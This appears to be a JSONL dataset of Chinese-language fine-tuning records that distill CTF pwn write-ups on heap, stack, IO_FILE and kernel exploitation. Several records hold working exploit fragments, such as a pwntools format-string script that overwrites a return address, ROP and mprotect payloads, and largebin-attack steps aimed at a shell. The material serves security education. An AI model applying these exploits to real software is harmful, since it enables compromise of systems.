{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fe055cbded250c5d8460", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「通过栈实现利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：堆中的 Off-By-One > 实例 1: Asis CTF 2016 b00ks > 利用 > 通过栈实现利用\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“通过栈实现利用”展开。\n- 这道题的巧妙之处在于在分配第二个 book 时，使用一个很大的尺寸，使得堆以 mmap 模式进行拓展。\n- 我们知道堆有两种拓展方式一种是 brk 会直接拓展原来的堆，另一种是 mmap 会单独映射一块内存。\n- 但是这个题目特殊之处在于开启 PIE 并且没有泄漏 libc 基地址的方法，因此我们还需要想一下其他的办法。\n- 因为 mmap 分配的内存与 libc 之前存在固定的偏移因此可以推算出 libc 的基地址。\n- 通过前面 2 部分我们已经获得了任意地址读写的能力，读者读到这里可能会觉得下面的操作是显而易见的，比如写 got 表劫持流程或者写 __malloc_hook 劫持流程等。\n\n关键术语：\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 18 行，首行 `Start End Offset Perm Path`\n- plain: 18 行，首行 `Start End Offset Perm Path`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3161, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "通过栈实现利用", "heading_path": ["堆中的 Off-By-One", "实例 1: Asis CTF 2016 b00ks", "利用", "通过栈实现利用"], "original_id": "docs-0282bb49937454e6c2a2", "original_line": 1019, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "1e616d70627fddec91bf78cd", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fe5bdfda866a28178e60", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md` 中的章节「REFERENCE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md`\n标题：Heap Spray\n章节：Heap Spray > REFERENCE\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“REFERENCE”展开。\n- 【PWN.0x00】Linux Kernel Pwn I：Basic Exploit to Kernel Pwn in CTF 【PWN.0x02】Linux Kernel Pwn II：常用结构体集合\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 239, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "REFERENCE", "heading_path": ["Heap Spray", "REFERENCE"], "original_id": "docs-136e48ea4b719fe6b1bd", "original_line": 772, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/spray.md", "source_root": "docs", "source_sha256": "2ae680126839cc9344bcfca380d500d735c945fde26f1a88b9e25d41a3e55a18", "split": "train", "split_group_key": "3ba8b9aad71313180b618f13", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Heap Spray"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/spray.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fe75f0bbb83fb1180252", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md`\n标题：KPTI - Kernel Page Table Isolation\n章节：KPTI - Kernel Page Table Isolation > 介绍\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“介绍”展开。\n- KPTI 机制最初的主要目的是为了缓解 KASLR 的绕过以及 CPU 侧信道攻击。\n- 因此，在目前开启了 KPTI 保护的内核中，如果没有开启 SMAP 保护，那么内核仍然可以访问用户态空间的内存，只是不能跳转到用户态空间执行 Shellcode。\n- 此外，SMAP 模拟也可以以类似的方式引入，只是现在还没有引入。\n- 用户态的页表只包括用户空间内存的页表以及必要的内核空间内存的页表，如用于处理系统调用、中断等信息的内存。\n- [图片: File:Kernel page-table isolation.svg;\n\n关键术语：\n- 修复/缓解\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- defense\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 550, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "介绍", "heading_path": ["KPTI - Kernel Page Table Isolation", "介绍"], "original_id": "docs-dc4995749e8f781eb50f", "original_line": 675, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md", "source_root": "docs", "source_sha256": "b88b1df847f13af9b069254f15961f1abf292994651bb55eefb1446127a2cf80", "split": "train", "split_group_key": "c2467b935f11ccbb98193adb", "subcategory": "pwn/linux/kernel-mode", "terms": ["修复/缓解", "漏洞利用", "pwn", "linux", "kernel-mode", "defense"], "title": "KPTI - Kernel Page Table Isolation"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ffc7dd166581169a49f9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md` 中的章节「确定填充长度」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md`\n标题：栈溢出原理\n章节：栈溢出原理 > 小总结 > 确定填充长度\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“确定填充长度”展开。\n- 一般变量会有以下几种索引模式 - 相对于栈基地址的的索引，可以直接通过查看EBP相对偏移获得 - 相对应栈顶指针的索引，一般需要进行调试，之后还是会转换到第一种类型。\n- 覆盖栈上某个变量的内容，这时候就需要更加精细的计算了。\n- 一般来说，我们会有如下的覆盖需求 - 覆盖函数返回地址，这时候就是直接看 EBP 即可。\n- 之所以我们想要覆盖某个地址，是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程。\n- 这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离。\n\n关键术语：\n- 边界/溢出\n- 栈\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 357, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "确定填充长度", "heading_path": ["栈溢出原理", "小总结", "确定填充长度"], "original_id": "docs-6191029d22b9adfde696", "original_line": 69, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md", "source_root": "docs", "source_sha256": "dec6be57e088905459cdd2d04532f6b0f33adf6c4086ebc03869863fd0640063", "split": "train", "split_group_key": "faa154e8d4ff886ab3965890", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "pwn", "linux", "user-mode", "stackoverflow"], "title": "栈溢出原理"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-00b4287d37975bab4681", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「1. 泄漏 heap base」。\n资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 1. 泄漏 heap base\n\n先申请一个 chunk，然后释放它，再 show 这个 freed chunk：\n\n```python\nadd()\ndele(0)\nshow(0)\n```\n\nglibc 2.34 tcache 使用 Safe-Linking：\n\n```c\nstored_fd = real_fd ^ (chunk_addr >> 12)\n```\n\n当 tcache 链表只有一个 chunk 时，`real_fd = NULL`，所以 freed chunk 里保存的是：\n\n```text\nchunk_addr >> 12\n```\n\nexp 读取这个值后左移 12 位得到 heap page base：\n\n```python\nheap_base = u64(leak.ljust(8, b\"\\x00\")) << 12\n```\n\n原 exp 中对应代码：\n\n```python\nadd()\ndele(0)\nshow(0)\nr()\nheap_base = u64(ru(\"\\x0a\")[-6:-1].ljust(8, b\"\\x00\")) << 12\n```\n\n---", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-f1dc0f025547ff4c", "original_line": 189, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "split_group_key": "8a82ea35d8808d6caff7e707"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-00c58ec2a340a8de95a6", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「总结」。\n资料来源：Heap/off-by-one/2024ylb-null/WP.md；主题：2024ylb-null Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 总结\n\n本题是典型 glibc 2.27 poison-null-byte 利用：\n\n1. 通过自写输入函数产生 off-by-null，清除后方 chunk 的 `PREV_INUSE`。\n2. 伪造 `prev_size=0x170`，释放后方 chunk 触发 backward consolidation。\n3. 利用 unsorted bin 切割制造 overlap，并泄露 libc。\n4. 通过 overlap 改 tcache `fd`，申请到 `__free_hook`。\n5. 写入 `system`，释放 `/bin/sh` chunk getshell。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-4151d68357f312cb", "original_line": 116, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/WP.md", "split": "train", "split_group_key": "d6b6a0a5a29a7b1892b4d993"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-017e6b194ace02876c7d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「调试建议」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/README.md；主题：2026d3ctf-d3kheap2pro；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 调试建议\n\n建议在本地调试环境中修改启动参数，临时关闭部分随机性或打开调试输出，便于观察：\n\n```bash\nconsole=ttyS0 root=/dev/sda rw rdinit=/sbin/init kaslr pti=on oops=panic panic=1\n```\n\n可以观察：\n\n```bash\ncat /proc/slabinfo | grep d3kheap2pro\ndmesg | grep d3kheap2pro\n```\n\n如果能接 gdb，可对以下符号下断点：\n\n```text\nd3kheap2pro_ioctl\nkmem_cache_alloc_noprof\nkmem_cache_free\n```\n\n重点记录每次 alloc/free 的对象地址。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-ff4b152ac0c16e6b", "original_line": 368, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "split_group_key": "4f24a40cea540ed9b113d0aa"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-023eb10f58805d9f3ff6", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「链表 unlink 与结构体释放」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 链表 unlink 与结构体释放\n\n`do_msgrcv()` 会将消息从双向链表中删除，然后释放消息：\n\n```c\nstatic long do_msgrcv(int msqid, void __user *buf, size_t bufsz,\n        long msgtyp, int msgflg,\n        long (*msg_handler)(void __user *, struct msg_msg *, size_t))\n{\n    int mode;\n    struct msg_queue *msq;\n    struct ipc_namespace *ns;\n    struct msg_msg *msg, *copy = NULL;\n    /* ... */\n    list_del(&msg->m_list);\n    /* ... */\n    free_msg(msg);\n\n    return bufsz;\n}\n```\n\n内核先调用 `list_del()` 将消息从 `msg_queue` 双向链表上 unlink，再调用 `free_msg()` 释放单条消息内部的 `msg_msg` / `msg_msgseg` 链表。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-9cc02f0de69b63d4", "original_line": 344, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-027da21a11408c69c84a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「为什么是House of Storm」。\n资料来源：IO-FILE/house of storm/2026ccb catchme/wp.md；主题：2026ccb catchme；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 为什么是House of Storm\n- 没有足够空间（0x18）去伪造完整的`FILE`结构体或`_IO_`相关利用。\n- `calloc`绕过tcache，且chunk size固定（0x440、0x430、0x48），无法通过fastbin直接改`__malloc_hook`（2.34+已移除hook）。\n- 只能通过一次show泄露一个地址，但无法直接泄露libc基址（只能泄露堆地址的低12位和高8位，不足以完整泄露）。\n- **最终目标**：通过House of Storm在`__free_hook`附近伪造一个chunk，然后从unsorted bin中申请出来，获得任意地址写，进而劫持控制流。\n\n---", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-27dc1ddbfaab2745", "original_line": 232, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/wp.md", "split": "train", "split_group_key": "59c73050f60dc7a2444c3b7f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-03168910146523564f7f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「SROP」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## SROP\n\nSROP 在 ctf wiki 中被归类为高级 ROP。之所以称为 SROP，是因为 SROP 通过 Unix 类系统中的 signal 机制系统调用来进行利用。\n\n简单的说就是如果系统调用`rt_sigreturn`时会根据当前栈顶的`Signal Frame`结构恢复各寄存器的值。通过伪造`Signal Frame`并通过构造 ROP 使程序执行`rt_sigreturn`就可以执行想要执行的函数以及把栈迁移到任意地址。[图片: image]", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-682e9ecc4c38bc14", "original_line": 601, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0395864c75dc093f42c6", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/格式化字符串/栈上数据覆盖/hijack retaddr/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/格式化字符串/栈上数据覆盖/hijack retaddr/exp.py`\n\n分类：misc_vuln\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n利用主题关键词：\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x4008a6`, `0x4008aa`\n\n训练用代码片段：\n```python\nfrom pwn import *\ncontext.log_level=\"debug\"\ncontext.arch=\"amd64\"\n\nsh=process(\"./三个白帽-pwnme_k0\")\nbinary=ELF(\"./三个白帽-pwnme_k0\")\n\nsh.recv()\nsh.writeline(\"1\"*8)\nsh.recv()\nsh.writeline(\"%6$p\")\nsh.recv()\nsh.writeline(\"1\")\nsh.recvuntil(\"0x\")\nret_addr = int(sh.recvline().strip(),16) - 0x38\nsuccess(\"ret_addr:\"+hex(ret_addr))\n\n\nsh.recv()\nsh.writeline(\"2\")\nsh.recv()\nsh.sendline(p64(ret_addr))\nsh.recv()\n#sh.writeline(\"%2214d%8$hn\")\n#0x4008aa-0x4008a6\nsh.writeline(\"%2218d%8$hn\")\n\nsh.recv()\nsh.writeline(\"1\")\nsh.recv()\nsh.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-dad8c85c16e47808", "original_line": 464, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/栈上数据覆盖/hijack retaddr/exp.py", "split": "train", "split_group_key": "0986279a3dda9604d1d47189"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/栈上数据覆盖/hijack retaddr/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0530e36d578cbabdf4cd", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「可利用漏洞点」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 可利用漏洞点\n\n模块还提供了菜单堆功能：\n\n| 功能 | 限制 |\n| --- | --- |\n| `add` | 两次机会，size 为 `0x400`。 |\n| `delete` | 两次机会。 |\n| `edit` | 两次机会。 |\n\n所有功能都未加锁，因此可以在 `edit()` 时通过 userfaultfd 卡住进程，在另一个线程中释放该堆块，再申请目标对象到相同地址，实现 `0x400` size object UAF。该 UAF 只能更改一次值。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-ee630b430f60bc25", "original_line": 349, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-05377694baae6e79cd19", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「2. largebin attack 布局」。\n资料来源：IO-FILE/house of apple2/2024ylb futureheap/WP.md；主题：2024ylb futureheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# 2. largebin attack 布局\nbuild(0, 0x520)\nbuild(4, 0x600)\nbuild(1, 0x510)\nbuild(5, 0x600)\n\ndrop(0)\nbuild(2, 0x530)      # 让 0 进入 largebin\n\ndrop(1)              # 1 留在 unsorted bin\n\ntarget = libcbase + libc.sym[\"_IO_list_all\"]\nfix(0, p64(0) * 3 + p64(target - 0x20))\n\nbuild(3, 0x530)      # 触发 largebin attack，改 _IO_list_all", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-b2f208bd3b9dd5de", "original_line": 207, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "split_group_key": "8872b8a958dc5167d996bedd"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-06f5b986885e45fac776", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Artifacts」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/EXP.md；主题：d3kheap2pro exploit notes；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## Artifacts\n\n- `exp.c` / `exp`: GPLv2 official `D3CTF2025_d3kheap2` exploit port adapted to this module path `/proc/d3kheap2pro`.\n- `primitive_probe.c`: preserved original ioctl/double-free verifier.\n- `xcache_probe.c` / `xcache_probe`: allocator/cross-cache/Dirty-PageTable experiment helper.\n- `make_exp_image.sh`: injects `exp` into a temporary rootfs for `init=/initexp` quick tests.\n- `make_autorun_image.sh`: injects `exp` into normal `rcS` flow and runs it as `ctf`.\n- `make_run_image.sh`: injects `xcache_probe` and runs a selected probe mode via `init=/initrunner`.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-8ee8e2483aba48d5", "original_line": 32, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/EXP.md", "split": "train", "split_group_key": "a4e60a6c103ca48924c766ea"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/EXP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-08092380476ae43aae95", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「lea rsi, [rbp - 0xf0]」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# lea rsi, [rbp - 0xf0]\nfirst_ebp=0x601020 + 0xf0\nlea_read=0x4006E7\n\n#通过上述 lea 指令设置 rsi 值为 bss 段地址，并且再次执行 read 函数将 rop 链写入 bss 段\npayload = b\"a\"*0xf0 + p64(first_ebp) + p64(lea_read)\n\nru(\"Remember to check it!\")\ns(payload)\n\n#通过 csu 执行 mprotect 函数修改 bss 段内存权限为可读可写可执行\npayload2=p64(gadget1)+p64(0)+p64(1)+ p64(mprotect_got)+p64(0x601000)+p64(0x1000)+p64(0x7)+ p64(gadget2)", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-126c0fd5fa500b70", "original_line": 588, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
